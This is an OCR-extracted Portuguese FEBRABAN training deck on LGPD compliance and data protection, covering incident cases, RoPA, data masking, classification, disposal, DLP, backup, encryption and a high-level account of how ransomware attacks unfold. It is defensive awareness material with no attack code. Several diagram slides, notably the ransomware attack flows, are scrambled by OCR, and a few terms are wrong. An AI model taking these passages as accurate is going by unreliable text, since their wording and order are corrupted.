
Reguladores
(ANPD)

Instituicéo

Phishing/Malwares

‘ Titulares

Softwares nao e
homologados instalados Instituicoes _ '
na maquina Clientes/ Terceiros

Engenharia Social

Titulares

Clientes/ Terceiros

Ransomware




O que
aconteceu

O que deu errado?

Qual a
exposicao?

Cenario A

O profissional enviou um e-mail equivocadamente a um
individuo de outra empresa com nome similar. O e-mail exp6s
dados pessoais dos clientes titulares de planos de
previdéncia, como nome, CPF e valores de pagamento do
beneficio.

O compartilhamento de dados confidenciais e privados ocorreu
por e-mail e ndo via ferramenta homologada da Organizacao
para essa finalidade.

FEBRABAN

Cenario B

O profissional equivocadamente substituiu um template em
branco em um sistema (que fica a disposicdo de todos os
usuarios para download) por um formuléario preenchido com
dados pessoais de funcionarios de terceiros do cliente, como

nome, previdéncia social numero e salério.

Falha no monitoramento/ revisdo das mudancas realizadas no
sistema.

- Numero significativo de horas (executivos) na preparacéao de relatério de incidente robusto;
- Risco de exposicéo a terceiros e / ou divulgacdo do incidente (comunicar ao regulador).

- Impacto no relacionamento com o cliente (perda de credibilidade).

Notificacdo de incidentes de privacidade: Esta disponivel no site da ANPD formularios para a elaboracdo das comunicacdes quando ha incidentes
envolvendo titulares de dados pessoais, as comunicacdes devem ocorrer em até 3 dias Uteis apos a confirmacdo do incidente, conforme definido

na Lei.



RoPA (Record of Processing Activities) FEBRABAN

O controlador e 0 operador devem manter registro atualizado das operacdes de tratamento de dados pessoais que realizarem. A seguir é apresentado alguns
exemplos de informacdes que devem ser consideradas na construcao do RoPA.

Identificacdo dos sistemas corporativos
que sdo utilizados no tratamento dos
dados pessoais.

Identificacdo dos terceiros com quem 0s

Identificacdo dos agentes de tratamento, por
exemplo, controlador e operador, bem como
identificacéo da base legal que suporta o
tratamento dos dados pessoais.

dados sdo compartilhados, assim como as
areas internas da Organizacao que
também utilizam os dados para as
atividades de tratamento.

Caso ocorrer o compartilhamento de
dados para fora do Brasil, por exemplo, no
caso de transferéncia internacional de
dados, essas informagdes também devem
ser registradas no RoPA.

Identificacdo dos dados pessoais e dados
pessoais sensiveis envolvidos na atividade de
tratamento dos dados.

ROPA

Para cumprir os requisitos de tratamento de dados da LGPD € necessério entender completamente

guais dados sao tratados e como este tratamento é feito.




A LGPD, apresenta as definicbes e critérios esperados, para seguranca e privacidade de dados e informacgoes.

Arts. 7°,40°, 46°, 47°, 48° e 49°

Refletir os tratamentos de dados pessoais que sédo
feitos pela organizagdo em seus servigos, sites, portais e
aplicativos.

Instrumento de implementacdo do Privacy by Design e
faz parte da estrutura de documentos para a protegao
de dados.

Objetiva dar visibilidade ao tratamento de dados
pessoais em um determinado processo, atendendo aos
principios da LGPD.

Enderecado aos Titulares de dados (usuarios de sites,
portais e aplicativos) de forma publica, clara e precisa.

FEBRABAN

Informagbes sobre a organizagao responsavel pelo
tratamento;

Dados pessoais e respectivas finalidades do
tratamento, inclusive os dados nédo informados pelo
titular (IP, localizagéo, etc);

Base juridica do tratamento;

Prazo de retenc¢éo dos dados pessoais;

Informacbes de contato do DPO (Data Protection
Officer) ou encarregado de protecdo de dados da
organizagao;

Orientagdo para atendimento aos Direitos dos
titulares de dados pessoais, bem como a indicacéo dos
canais apropriados para as solicitagdes;
Compartilhamento de dados com terceiros e suas
finalidades;

Transferéncia internacional e suas finalidades;
Tratamento por legitimo interesse (caso aplicavel);
Decisdes automatizadas e a possibilidade de revisa-
las (caso aplicavel);

Protecdo de dados de menores.



Mascaramento de Dados FEBRABAN

Segundo a ISO 27002, o mascaramento de dados deve ser usado de acordo com a politica de acesso especifica do tépico da organizacdo controle e outras politicas
especificas de tdpicos relacionados e requisitos de negécios, considerando legislacdo em consideracdo. Ele € usado para limitar a exposicdo de dados sensiveis,
incluindo PII, e para cumprir as normas legais, estatutarias, regulamentares e requisitos contratuais.

Anonimizagao

Descricao: Processo que remove todos os identificadores do titular dos dados, ou seja, apds a anonimizacao, ndo se podera mais associar os dados
a uma pessoa especifica. Portanto, a partir do momento em que anonimiza-se um dado e deixa de ser um dado pessoal, torna-se impossivel vincular
guem € a pessoa a ele relacionada.

Caso de Uso: dados anonimizados sdo essenciais para o crescimento da inteligéncia artificial, da internet das coisas, do aprendizado das maquinas,
das cidades Inteligentes, da analise de comportamentos, entre outros.

Pseudononimizacao

Descricao: Processo de substituicdo dos identificadores do titular dos dados por um cédigo ou apelido. Esses identificadores sdo mantidos em
separado em ambiente seguro, de forma que ndo possam ser associados a uma pessoa especifica sem acesso a eles.

Caso de uso: analise de dados e marketing

Art. 12 - "Os dados anonimizados nédo serdo considerados dados pessoais para os fins desta Lei, salvo quando o processo de anonimizacdo ao qual foram
submetidos for revertido, utilizando exclusivamente meios préprios, ou quando, com esfor¢cos razoaveis, puder ser revertido.”

7 Link — Material de Apoio



O que mais voce precisa
saber?
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O que mais voceé precisa saber?

A seguir sdo apresentadas algumas dicas que podem ser seguidas no dia a dia e contribuem para o atendimento as exigéncias da Lei:

-

Use as Ferramentas
Homologadas

Evite 0
compartilhamento de
dados por e-mail e
nao armazene-0s No
seu notebook.

-

Aceite apenas 0s
dados necessarios

Devolva e exclua
agueles que nao séo
necessarios para as

suas atividades.

-

Trate dados
conforme finalidade
da coleta

Os dados n&do podem
ser aproveitados para
finalidades distintas.

@

-

Restrinja 0 acesso
aos dados

Atente-se aos
destinatarios dos e-
mails e aos usuarios
aos quais concede

acesso em
ferramentas.

FEBRABAN

)

-

Cuidados ao enviar
por e-mail

Classifique os dados,
configure, configure o
envio tardio de e-mail
e inative 0
preenchimento
automatico.



Protecao de Dados
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Requisitos — Protecao de dados

Este material foi elaborado de acordo com as diretrizes do PCI DSS e CIS Controls, bem como foi considerado os requisitos de seguranga da informacao relacionados

ao tema de acordo com as normas e frameworks apresentado abaixo:
ISO 27002 ISO 27701

NIST CSF

PCI DSS CIS Controls

3.1 Os processos e mecanismos para proteger 0os
dados da conta armazenados s&o definidos e
compreendidos.

3.2 O armazenamento de dados da conta € minimo.

3.3 Os dados de autenticag@o confidenciais (SAD)
n&o séo armazenados apds a autorizagao.

3.4 O acesso a exibicdo de PAN completo e a
capacidade de copiar os dados do titular do cartédo
s&o restritos.

3.5 O nimero da conta principal (PAN) é protegido
onde quer que seja armazenado.

3.6 As chaves criptogréficas usadas para proteger os
dados da conta armazenados sao protegidas.

3.7 Onde a criptografia € usada para proteger os
dados da conta armazenados, 0s processos e
procedimentos de gerenciamento de chave cobrindo
todos os aspectos do ciclo de vida da chave sao
definidos e implementados.

4.1 Processos e mecanismos para proteger os dados
do titular do cartdo com criptografia forte durante a
transmissdo em redes publicas abertas sdo definidos
e documentados.

4.2 O PAN é protegido com criptografia forte durante
a transmissao.

9.4.2 Todas as midias com dados do titular do cartdo
sdo classificadas de acordo com a confidencialidade
dos dados.

3.1 Estabelecer e manter um processo de gestdo de
dados

3.2 Estabelecer e manter uminventario de dados
3.3 Corfigurar listas de controle de acesso a dados
3.4 Aplicar retencéo de dados

3.5 Descartar dados com seguranca

3.6 Criptografar dados em dispositivas de usuario
final

3.8 Documentar Fluxos de Dados

3.7 Estabelecer e manter um esquema de
classificagdo de dados

3.9 Criptografar dados em midia removivel
3.10 Criptografar dados sensiveis em transito
3.11 Criptografar dados sensiveis em repouso

3.12 Segmentar o processamento € o
armazenamento de dados com base na sensibilidade

3.13 Implantar uma solucéo de prevencao contra
perda de dados

3.14 Registrar o acesso a dados sensiveis

5.33 Protecéo de registros

5.35 Revisdo independente da seguranca da
informagao

5.36 Conformidade com pdliticas, regras e padrdes
para seguranca da informagé&o

8.15 Registro
8.16 Atividades de monitoramento
8.17 Sincronizacéo de relégio

8.34 Protecéo de sistemas de informacéo durante
testes de auditoria

6.5.1.1 Inventario dos ativos

6.5.2.1 Classifica¢do da informacéo
6.5.2.2 Rotulos e tratamento da informagao
6.5.2.3 Tratamento dos ativos

6.5.3.2 Descarte de midias

6.7.1 Controles criptograficos

6.7.1.2 Gerenciamento de chaves

7.4.7 Retencao

7.4.8 Descarte

ID.AM-06: Os inventarios de dados e metadados
correspondentes para tipos de dados designadaos sao
mantidos

ID.AM-08: Sistemas, hardware, software, servigos e
dados sdo gerenciados ao longo de seus ciclos de
vida

PR.DS-01: A confidencialidade, integridade e
disponibilidade dos dados em repouso séo protegidas

PR.DS-02: A confidencialidade, integridade e
disponibilidade dos dados em transito séo protegidas

PR.DS-03: A confidencialidade, integridade e
disponibilidade dos dados em uso séo protegidas

PR.PS-03: O hardware é mantido, substituido e
removido proporcionalmente ao risco

PR.PS-05: Instalacéo e execucéo de software ndo
autorizado séo impedidas
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Introducao

Segundo o CIS Controls, os dados ndo estdo mais apenas dentro da fronteira da empresa; estdo na nuvem, ambientes on-premisses, em dispositivos portateis,

onde o0s usuérios trabalham, e geralmente sdo compartilhados com parceiros ou servicos online que podem té-los em qualquer lugar no mundo. Com os dados
cada vez mais expostos, a ISO 27002 coloca que os dados devem ser protegidos contra perda, destruicéo, falsificacdo e acesso néao autorizado.

Como proteger os dados?

Acriptografia é
utilizada para converter

Descarte os dados com
seguranca para
caracteres de texto minimizar o risco de
comum para um formato ~
~ b A segmentacgdo separa . , vazar~nento de’ _
nao legivel, as chaves os controles de Gestéo de dados para informacgdes sensiveis
de criptografia seguranca da tratar a sensibilidade para pessoas nao
embaralham os dados : : ietari [
infraestrutura subjacente Controle de acesso aos dos dados, o proprietario autorizadas.
para que somente e permite as dados com base na dos dados, 0o manuseio
usuarios autorizados organizacdes a necessidade de acesso dos dados, os limites de
possam lé-los. flexibilidade para do usuario retencdo de dados e os
estender a protecdo e (privilegio minimo). requisitos de descarte.

avisibilidade em
gualquer lugar.
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As ameacas visam a interceptacdo ou roubo de informacdes privilegiadas, danificando desta forma a seguranca do ambiente tecnolégico e impactando os pilares da
Seguranca da Informacdo, ou seja, a integridade, disponibilidade e confidencialidade. A seguir sdo apresentados alguns exemplos de ameacas cibernéticas:

Malware: software criado especificamente
para prejudicar um sistema de computador ou
seus usuarios. A forma mais conhecida de
malware que ameaca dados € o ransomware.

Vulnerabilidades de seguranca: fraquezas
ou falhas na estrutura, cédigo ou
implementacdo de um aplicativo, dispositivo,
rede ou outro ativo de Tl que os hackers
podem explorar.

Credenciais fracas ou roubadas:

senhas que os hackers podem adivinhar
facilmente ou senhas ou outras

credenciais.

Ameacas internas: usuarios autorizados \ /
gue colocam dados em risco por descuido

ou intencdo maliciosa.

Riscos

Engenharia social: téticas de
manipulacéo de pessoas para a
execucao de acOes ou para a
divulgagao de informagdes
confidenciais.

Roubo de dispositivo fisico: roubo
de um laptop, smartphone ou outro
dispositivo que concede ao ladrao
acesso a rede e permissao para
acessar dados.

Negligéncia: as violacbes geralmente
ocorrem devido a negligéncia de um
funcionario ou de outra parte.
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Segundo o CIS Controls, os malwares podem ter varias finalidades, desde capturar credenciais, roubar dados, identificar outros alvos narede e criptografar ou
destruir dados.

O que € um ransomware? &

7

» Ransomware € um tipo de malware projetado para

criptografar e ou extrar dados de éareas de
armazenamento de computadores e servidores,
tornando os dados inacessiveis até que um resgate
seja pago. Os dados de sistema da vitima sao
bloqueados e o hacker exige uma taxa de resgate,
normalmente vinculando o pagamento a uma moeda
virtual como o Bitcoin, prometendo liberar o acesso
aos dados apds a realizacdo do pagamento.

Apesar do Ransomware também ser um malware
(cédigo malicioso), ele pode ou ndo possuir a
capacidade de auto-replicacdo de um virus (isso vai
depender da variante em atuacdo). Enquanto a
propagacdo de um virus acontece de forma
espontdnea e sem controle, o Ransomware é
distribuido via internet e ou inserido por um atacante
nos computadores e servidores através da
exploracdo de vulnerabilidades encontradas nos
sistemas operacionais.

Tipos de ransomware &,

>

>
>
>

O ransomware Diskcoder criptografa o disco completo e faz com o que usuario nao

consiga acessar o sistema operacional.

O Screen locker bloqueia o acesso a tela do dispositivo.

O Crypto-ransomware criptografa dados armazenados no disco da vitima.

O PIN locker tem como alvo os dispositivos Android e muda seus cédigos de

acesso para bloquear seus usuarios.

O WannaCryptorakaWannaCry tem como alvo explorar vulnerabilidade nas versdes

mais populares dos sistemas operacionais Windows.

O Petya tem como alvo explorar vulnerabilidade de softwares de contabilidade

populares.

O Ryuk é um cavalo de Troia de criptografia ele desabilita funcbes de

recuperacao dos sistemas operacionais Windows.

O BOrOntOk é um ransomware de criptografia que se concentra especificamente em

servidores Windows e Linux. Este nocivo ransomware criptografa os arquivos de

um servidor Linux e anexa a extenséo de arquivo ".rontok".

O Ransomware Dharma Brrr o novo ransomware Dharma, e
manualmente

por hackers que invadem os servi¢cos de desktop conectados a Internet.

Assim que o ransomware € ativado pelo hacker, ele comeca a criptografar os

arquivos encontrados. Os dados criptografados recebem a extensao

".id-[id].[email].brrr". Este ransomware possui variantes e tem o

mesmo comportamento em servidores.

instalado
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Como funciona o ataque? o~ 1° Modelo de comprometimento

1- Atacante prepara
um malware
(ransomware) com
alvo especifico
através de uma
variante

Q;irewall 1- Comprometimento do DNS

(VPN) + Acesso remeto via protocolo RDP;
* Uso de credencial autorizada (DEEP Web);
o + Controle do servidor ou desktop por usuario
c% \‘3 + Infiltracdo do malware e instalagao de codigo
malicioso.

&(esin ) 1- Credencial vazada

fGx%x) paraacesso RDP
através de VPN.

L e |

Alvos
principal

AD/LDAP,

2- Atacante

escolhe tipos de - ‘/@ 2- Payload malicioso
vetores de P

ataque. -
b '@’ ' 3-phishing

Usuarios 2- Comprometimento da maquina do usuario
* Instalag8o de artefato malicioso nos desktops;
- » Propagacgdo do malware para o controlador de
! dominio através da técnica de spyware;
» Comprometimento das credencias
administrativas;
» Execucdo criptografia das maquinas.

e Aplicacbed 3- Comprometimento da maquina VMware

* Exploracéo da vulnerabilidade;

* Instalagéo do artefato malicioso no servidor
por programa com lista direcionadora;

* Propagacdo do malware para o controlador de
dominio através da técnica de spyware;

* Comprometimento das credencias
administrativas; L - ==

» Execucdo criptografia das maquinas;

* Excluséo de comandos de SO para dificultara__|

g Ecu&erﬁéo_.

*
Treea,, 3- Apos escolher o

|

I

|

|

|

|

l

|

I N,
vetor de ataque e | Ve

: A

|

|

|

l

|

|

I

|

1- Comprometimento das
credencias

administrativas do
%QHE@('&U ¢do de ataque

lateral;

em acao as
variantes ex: spear

v
p p phishing
Empresa A Empresa B Empresa C
. A\

-

BCE; )

a direciona-lo, entra
G
v

3-  Proliferagdo do
artefato  malicioso e
criptografia de dados
pré-definhada.

I
!
!
!
!
!
|
!
!
!
!
!
!

Empresas Alvos

Alvo

v

—ee— o o o o o o o o e o e e Em mm mm of

= \ )
2 Spear Y
| phishing; Comprometimento do ambiente
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Ransomware - Modo de Operacao rERRABAT
. O .
Como funciona o ataque? A~ 2° Modelo de comprometimento
1 Atacante prepara —— e e e e e e e e === )
um malware o Aplicactes - o ) |
(ransomware) com | 1- Comprometlmentq c;!a aplicagéo
- * Roubo de credencial; |
alvo especffico I * Sequestro da maquina;
atraveés de uma —8 1- Credencial vazada | . i i ffi I
variante -Cr 1al v . Crlptografla de arquivos especificos do
AGxx%x) para acesso RDP I negacio; I— e N |
2- Atacante atraves de VPN. * Pagamento de resgate; Preservar 1]
escolhe tiposde ‘@ 2- Payload malicioso ' *  Extragéo de dados. l ]
vetores de : | |
ataque. J @ | o | 9 Bancode| 2-Comprometimento da banco de dados | Il
3 - phishing I dados + Roubo de credencial; . (I
. L & + Sequestro da maquina;
. S da maqui 1
O i | - + Criptografia de arquivos especificos do |
 geus o~ 3- Apds escolher o I — negécio; I 1]
ol @‘ vetor de atague e gg + Pagamento de resgate; 1]
E g:;egé)gc?;g' entra I + Extracdo de dados. I 1- Restore de dados; I I
v variantes ex: spear I I 2- Preservago e 1]
phishing | I reestruturaggio dos
I 3- Comprometimento da banco de dados I dados e dos ambientes 11
E A c * Roubo de credencial; de producéo. 1]
mpresa presa | * Sequestro da maquina; |
Empresas /\ A|VOS . I . ﬁ;ég)écé%fs\fia de arquivos especificos do I : |
Alvo l « Pagamento de resgate; e e == - I
| » Extracdo de dados. |
I - I
S |
G/ﬁl@ \ Y J

S

, I bi
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7

Segundo o CIS Controls, é necesséario estabelecer e manter um processo de gestdo de dados. Esse processo deve tratar sobre sensibilidade dos dados, o
proprietario dos dados, o manuseio dos dados, os limites de retencdo de dados e os requisitos de descarte, com base em padrdes de sensibilidade e retencéo.

(72}

o

S Obtencéo, recepcao ou producéo de dados pessoais independente do meio utilizado (documento em papel,
8 documento eletronico, sistema de informagéo, etc.).

T Coleta

(%2]

S

= Qualquer operacédo que envolva classificagéo, utilizagao, reproducdo, processamento, avaliagcdo ou controle
4 da informacéo, extracdo e modificacdo de dados pessoais

'D ~

o Retencao

@S

&

% Qualquer operacao que envolva classificacao, utilizacédo, reproducdo, processamento, avaliacdo ou controle
§_< da informacéo, extracdo e modificacdo de dados pessoais.

9 Processamento

©

" Qualquer operacédo que envolva transmissao, distribuicdo, comunicacao, transferéncia, difusédo e

S compartilhamento de dados pessoais.

('U .

= Compartilnamento

©

n

§ Qualquer operacao que visa apagar ou eliminar dados pessoais. Esta fase também contempla descarte dos
" ativos organizacionais nos casos necessarios ao negacio da instituicao.

@) . . ~

5 Eliminacao

Q.

(79}
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Segundo o CIS Controls, € necessario aplicar listas de controle de acesso a dados, também conhecidas como permissdes de acesso, a sistemas de arquivos,
bancos de dados e aplicagdes locais e remotos.

A gestdo de acesso aos dados permite:

@@ ® ®

Gerenciamento de credenciais de
identidade atribuidas a funcionarios,
contratados, fornecedores e clientes.

O controle de acesso aos dados autoriza
com base na necessidade que apenas 0s
usuarios autorizados tenham permisséo para
consultar, escrever e excluir os dados.

Processos, incluindo funcdes e
responsabilidades, estrutura organizacional e
procedimentos administrativos.

Informacdes, incluindo politicas de
gerenciamento de riscos, controles, fluxos
de informacgdes e relatérios.

E importante ter um registro dos acessos
aos dados sensiveis, onde inclui as
modificagdes e descartes realizados.

S

X

®

1. Nova ldentidade
Estabelecer uma nova
relacdo com uma
identidade

6. Revogar Acesso
Remover 0 acesso
guando um
relacionamento se
encerra

5. Gerenciar Acesso
Atualizar o acesso
conforme a evolucéo da
relacéo

Ferramentas que podem ser utilizadas em gestao de acesso: Sailpoint, SAP, Salesforce, Oracle, CyberArk, entre outras.

2. Comprovar
Comprovar que a pessoa
Ou coisa por tras da
identidade é verdadeira

3. Verificar
Autenticar a identidade
para transacdes futuras

4. Registrar

Registrar a identidade
nos servicos com base
no valor da relacéo



Segmentacao dos Dados

E importante segmentar o processamento e o armazenamento de dados com base na sensibilidade dos dados. A utilizacdo de controles de segmentacdo pode

mitigar riscos relacionados a:

FEBRABAN

Vs

Prevencao de
Movimentacéo Lateral

Q O movimento lateral
€ a tentativa dos
invasores de
expandir seu nivel
de acesso, mudar
para ativos confiaveis
adicionais e avancar
ainda mais na direcao
de seu alvo final.

Reduzir a Superficie de
Ataque

O Asuperficie de
ataque de uma
organizacdo é o soma
das vulnerabilidades
ou dos métodos
(vetores de ataque),
gue os hackers
podem usar para
obter acesso néo
autorizado arede ou
a dados sensiveis,
ou para realizar um
atague cibernético.

Deteccdo de Ameacas em
Tempo Habil

U Deteccgado automatica
de potenciais
violagbes
cibernéticas no
ambiente da
Organizacéo e
reducédo do tempo
de analise de causa-
raiz e resposta ao
incidente.

Impedir a Proliferacao de
Malwares

0 O malware pode se
espalhar na rede da
Organizacéao por
anexos de e-mail,
downloads em sites
infectados ou midias
removiveis infectadas,
como unidades USB.

A segmentacgdo separa 0s controles de seguranca da infraestrutura subjacente e permite as organizagdes a flexibilidade para estender a protecéo e a
visibilidade em qualquer lugar, possibilitando aplicar o principio do menor privilégio de forma mais extensiva em ambientes d e data center e nuvem,

proporcionando uma postura de defesa mais eficaz do que os controles tradicionais de camada de rede. As politicas de segmentac¢éo podem assumir
varias formas, incluindo controles baseados no tipo de ambiente, escopo regulatério, aplicacao e nivel de infraestrutura

Ferramentas que podem ser utilizadas para a segmentacdo de acesso: Akamai Guardicore Segmentation, Cisco Secure Workload, Microsoft Azure,
Prisma Cloud, entre outras.

7 Link — Material de Apoio
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Segundo o CIS Controls, as empresas precisam catalogar seus principais tipos de dados e sua criticidade (impacto para sua perda ou corrupgao) para a empresa.
Essa andlise deveria ser usada para criar um esquema geral de classificacdo de dados para a empresa.

Exemplo: esquema de classificagcao de dados

. Os dados publicos ndo representam risco para a empresa se
disponibilizado ao publico em geral. Exemplo: material de publicidade
publica, endereco da sede da empresa e informagdes de produtos.

Dados internos séo dados que a perda, corrupgdo ou divulgacdo ndo
autorizada de que é de certa importancia apenas dentro da empresa e,
portanto, ndo resultaria em prejuizo consideravel ao negécio, financeiro ou
juridico. Exemplo: Padrdes de deslocamento, alocacdo de funcionérios,
organogramas e efc.

Confidencial

. Dados confidenciais sdo dados que a perda, corrupcao ou divulgagéo
ndo autorizada podem prejudicar gravemente a reputacdo da empresa ou
posicao de negdcios, resultando em consideravel perda financeira, de
reputacao e juridica. Categorias de dados de exemplo: Dados de
marketing, dados de clientes, dados sensiveis, entre outros.

Dados restritos sdo dados que a perda, corrup¢ao ou divulgacdo ndo
autorizada podem prejudicar gravemente a reputacdo da empresa ou
posicdo de negécios, resultando em severa perda financeira, de reputagéo
e juridica. Categorias de dados de exemplo: Pré-lancamento de resultados
financeiros, dados marcados pelo governo, segredos comerciais.
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Descarte Seguro de Dados

Segundo a ISO 27002, procedimentos formais para o descarte seguro dos dados devem ser definidos para minimizar o risco de vazamento de informacdes
sensiveis para pessoas ndo autorizadas. Os procedimentos para o descarte seguro, devem ser proporcionais a sensibilidade dos dados.

Praticas de Descarte Seguro

O Discos rigidos: devem ser regravados usando o padréo binario 0 e 1 (wipe) de
acordo com as melhores praticas de segurangca quando ndo forem mais utilizados.
Alternativamente, pode ser enviado para descarte através de empresa
especializada com emisséo de certificado de destruicéo.

Todos os componentes, U Midias eletronicas (CDs e DVDs): devem ser descartadas usando as
fragmentadoras destinadas.

equipamento ou midias que

QO Papéis, folders e outros documentos impressos: devem ser descartadas

contenham dados e que forem usando as fragmentadoras destinadas.

retirados de sua utilizac&éo, devem O Fitas magnéticas (backups, pen drive, discos externos ou dispositivos de
armazenamento) devem ser destruido por empresas especializadas com

ter seus dados plen amente certificacdo de protecdo ambiental e emissdo de certificado de destruicdo segura.

apagados. O descarte deve garantir O Aplicativos de comunicacgdes: devem ser estabelecidas configuracdes de
seguranca para exclusdo automatica de mensagens em aplicativos de

gue todos os dados foram comunicac&o, por exemplo, Microsoft Teams, WhatsApp, Skype, entre outros.

inutilizados e sdo irrecuperaveis. O Segundo a resolucédo 4893, a empresa contratada deve excluir os dados apés a

transferéncia dos dados para a nova empresa e/ou apos o fim das atividades
estabelecidas em contrato, além de confirmar a integridade e a disponibilidade
dos dados recebidos.
* Obs.: Apo6s a eliminacao dos dados, é necessario enviar uma evidéncia a
Instituicdo que demonstre e comprove arealiza¢gdo do descarte de
informacoes.
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Segundo a ISO 27002, as medidas de prevengcdo de vazamentos devem ser aplicadas a sistemas, redes e quaisquer outros dispositivos que processam,
armazenam ou transmitem informagfes confidenciais. Essas medidas visam detectar e impedir a divulgacdo e extracdo ndo autorizada de informacdes por
individuos ou sistemas.

A prevencéo contra perda de dados (DLP) € uma estratégia para detectar e evitar a exfiltracdo ou a destruicdo de dados. Muitas solucdes de DLP analisam o trafego de
rede e dispositivos de "endpoint” internos para identificar o vazamento ou perda de informagdes confidenciais.

Como as solugbes podem ajudar?

. A classificacdo de dados permite que a organizacao aplique as politicas de DLP corretas aos tipos certos de dados.
Essas ferramentas geralmente podem examinar toda a rede para encontrar dados onde quer que estejam armazenados (exemplos: nuvem, em pontos
de extremidade fisicos, nos dispositivos pessoais dos funcionarios, entre outros).

: As ferramentas DLP podem usar varias técnicas para identificar e rastrear dados confidenciais em uso. Como por exemplo:
comparar o contetdo do arquivo com dados confidenciais conhecidos, procurar dados que seguem um determinado formato, andlise de conteudo e deteccdo de
rotulos, marcas e outros metadados que identificam explicitamente um arquivo como confidencial.

: As ferramentas conseguem detectar violagcGes de politicas e responder em tempo real. Como por exemplo: criptografando
dados, encerrando transferéncias, avisando usuarios sobre violagcdes, sinalizando comportamento suspeito e acionando desafios de autentificacdo adicionais.

: As ferramentas conseguem documentar e relatar os esforgcos gerando um relatorio que permitem as equipes de segurancaacompanhar o
desempenho das politicas ao longo do tempo.

Exemplos de ferramentas para a Prevencao de Vazamento de Dados: Forcepoint DLP, Symantec Data Loss Prevention, Proofpoint Enterprise Data Loss
Prevention, entre outras.
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Segundo a ISO 27002, cépias de backup de informacdes, software e sistemas devem ser mantidas e testadas regularmente para permitir a recuperacao de perda
de dados ou sistemas.

A politica de backup deve ser estabelecida para definir os requisitos da organizacao relativos as copias de seguranca das informacfes, dos softwares e dos sistemas,
contendo por exemplo, mas nao limitado aos seguintes itens:

Um cofre imutével, permite bloquear todas as operacdes para . . -
Backup completo, realizado com menos frequéncia, copia

A garantir que o Bgckup esteja protegido e pode |mped|.r que os i? todo o conjunto de dados, independentemente de alteragdo que
atores mal-intencionados os excluem e afetem a capacidade de tenha sido feita

recuperacao de dados.

Os backups precisam ser armazenados em lugares com

b\ seguranca adequados para garantir que todas as informacgdes
e software essenciais possam ser recuperados de maneira
eficiente.

Backup incremental copia somente os dados modificados
desde o altimo backup.

®

Backup diferencial coépia somente os dados recém-

Elb adicionados e alterados desde o ultimo backup completo, isso
faz com que o tamanho do backup aumenta progressivamente
até o proximo backup completo.

garantir que elas sdo confiaveis, integros e completos no

FU As midias de backup devem ser regularmente testadas para
caso do uso emergencial.

Exemplos de ferramentas para a Backup e Recuperacdo de Dados: Veeam Data Platform, Dell Data Protection Suite, Veritas NetBackup, Microsoft Azure
Backup, Dell PowerProtect DP Series Appliances, entre outras.
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Controles Criptograficos

Segundo o CIS Controls, a adoc¢do da criptografia de dados, tanto em transito (comunicagfes) quanto em repouso (armazenamento) podem contribuir para proteger
a confidencialidade, autenticidade e/ou a integridade da informacao.

Principais Conceitos:

Em repouso: Os dados séo considerados em repouso quando

9 estdo em um dispositivo de armazenamento de dados e néo
estdo sendo ativamente usados ou transferido, e podem ser
dados mais valiosos. A criptografia de dados em repouso reduz
as oportunidades de roubo de dados criados por dispositivos
perdidos ou roubados, compartiihamento inadvertido de senha
ou concesséo acidental de permissao.

Em transito: Os dados séo considerados em transito quando

@ se movem entre dispositivos, como em redes privadas ou na
Internet. A criptografia de dados durante a transferéncia garante
gue mesmo se os dados forem interceptados, sua privacidade é
protegida. Tecnologias seguras: SSH, S-FTP, TLS ou VPN
IPsec.

Exemplos de protocolos criptograficos:

01
04

3DES (Triple Data Encryption Standard)
Esse é um algoritmo de chave simétrica. O
Triple DES estda sendo lentamente
substituido, mas continua sendo uma
solucdo de criptografia de hardware
confiavel para servigcos financeiros.

AES (Advanced Encryption Standard)

. Desenvolvido para atualizar o algoritmo
DES original. Mais comum em aplicativos de
mensagens

02
05

Twofish

Considerado um dos mais rapidos do seu
tipo, o twofish é usado tanto em hardware
guanto em software e ele ndo é patenteado,
sendo gratuitamente disponibilizado.

RC4

Usado em WEP e WPA, que séo protocolos
de criptografia comumente usados em
roteadores sem fio

03
06

RSA (Rivest, Shamir e Adleman)
Primeiro algoritmo de criptografia
assimétrica amplamente disponibilizado ao
publico e é popular devido ao tamanho da
sua chave e, por isso, amplamente utilizado
para transmissdo de dados segura.

DAS (Algoritmo de Assinatura Digita)

E uma criptografia assimétrica adotado no
processo de coleta de assinaturas digitais
para documentos eletrénicos.
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Segundo o CIS Controls, o malware entra em uma empresa por meio de vulnerabilidades em dispositivos de usuério final, anexos de e-mail, paginas da web, servi¢cos
em nuvem, dispositivos moveis e midia removivel.

« A Organizacéo deve publicar uma politica ou norma contendo » Usuarios com permisséo de uso de dispositivos particulares
as regras e limitacdes para o uso de dispositivos moveis devem permitir que seus dispositivos sejam inspecionados
particulares. parafins de seguranca.

» Auutilizacao de dispositivos moveis particulares deve ser » Manter dispositivos moveis atualizados.

aprovada pela Organizagdo antes do uso. * N&o é permitido instalar produtos, sistemas ou aplicativos

« Manter sigilo das credenciais de acesso para ou com sem autorizacao prévia.

dispositivos moveis. « Utilizar VPN (homologada) para realizar conexdes seguras.

» Usuarios séo responsaveis por todas transagdes e atividades

. . : * A Organizacao deve realizar varreduras que buscam por
realizadas usando suas credenciais (ID, senha, pin, etc.). g ¢ . P

vulnerabilidades em dispositivos e aplicar as correcdes.
« Utilizar MFA (autenticacao multifator).

Segundo a ISO 27002, qualquer dispositivo usado fora das instalacbes da organizagcdo que armazena ou processa informagdes incluindo
dispositivos de propriedade da organizacao e dispositivos de propriedade privada e usados em nome da organizagdo(BYOD) precisa de protecéo.
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U A defesa em camadas € uma estratégia
de seguranca cibernética que usa varios
controles e praticas de seguranca para

» Treinamentos de conscientizagdo (dinamicas tradicionais e realistas, por
exemplo, metaverso e dculos de realidade aumentada)

proteger os dados, redes, recursos e Treinamento e + Exercicios e simulagdes reais de cendrios de incidentes cibernéticos, por
ativos da organizacao. exemplo, ransomware
g ¢ pessoas + Campanhas de phishing e engenharia social

+ Desenvolvimento e aprimoramento de recursos e competéncias

« Controle de acesso fisico

» Perimetro de seguranca
Seguranca . CFTV
Fisica
Firewall, proxy, anti-spam
* Intrusion detection/prevention sistemas (IDS/IPS)
+ Sistemas de monitoramento - SIEM
* Network access control (NAC)
Infraestrutura « Threat intelligence
* Andlise de arquitetura de redes
» Zero Trust (ZTA)
* |A & Automacgao do SOC
+ Criptografia em transito
* Seguranga em cloud
+ Artficial Intelligence IT Operations (AlOps) Platforms
+ Automacgbes
+ Security and Privacy by Design
* Tunning das Ferramentas de seguranca

Endpoints

Ap"C&QﬁGS + Programas antivirus modemos
« Programas de XDR

* Hardening de sistemas operacionais

Avaliagdo de seguranca de aplicagfes

Firewall de aplicacdo (WAF) e controles de prote¢céo de aplicacdes

